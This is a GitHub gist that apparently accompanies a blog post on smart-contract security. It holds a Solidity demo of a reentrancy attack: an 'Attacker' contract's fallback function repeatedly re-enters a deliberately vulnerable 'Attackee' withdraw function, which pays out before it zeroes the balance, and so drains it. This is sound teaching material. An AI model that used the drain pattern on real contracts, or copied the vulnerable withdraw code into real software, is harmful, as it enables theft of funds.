Skip to content

Instantly share code, notes, and snippets.

@nathan-websculpt
Created September 16, 2021 15:11
Show Gist options
  • Save nathan-websculpt/3e8609b46ef8209191ba1c684b8b703c to your computer and use it in GitHub Desktop.
Save nathan-websculpt/3e8609b46ef8209191ba1c684b8b703c to your computer and use it in GitHub Desktop.
Attacker.performAttack can drain Attackee in a reentrancy attack that utilizes the Attacker's fallback function
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract Attackee {
mapping(address => uint) public attackeeBalances;
function depositIntoAttackee() external payable {
attackeeBalances[msg.sender] += msg.value;
}
function withdrawFromAttackee() public {
uint senderBalance = attackeeBalances[msg.sender];
require(senderBalance > 0);
(bool success, ) = msg.sender.call{ value: senderBalance }("");
require(success, "withdrawFromAttackee failed to send");
attackeeBalances[msg.sender] = 0;
}
function getBalanceFromAttackee() public view returns (uint) {
return address(this).balance;
}
}
contract Attacker {
Attackee public contractToAttack;
constructor(address _contractToAttackAddress) {
contractToAttack = Attackee(_contractToAttackAddress);
}
//this is called when Attackee sends Ether to this contract (Attacker)
fallback() external payable {
if(address(contractToAttack).balance >= 1 ether) {
contractToAttack.withdrawFromAttackee();
}
}
function performAttack() external payable {
require(msg.value >= 1 ether);
contractToAttack.depositIntoAttackee{value: 1 ether}();
contractToAttack.withdrawFromAttackee();
}
function getBalanceFromAttacker() public view returns (uint) {
return address(this).balance;
}
}
@nathan-websculpt
Copy link
Author

Used as an example in This Blog Post

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment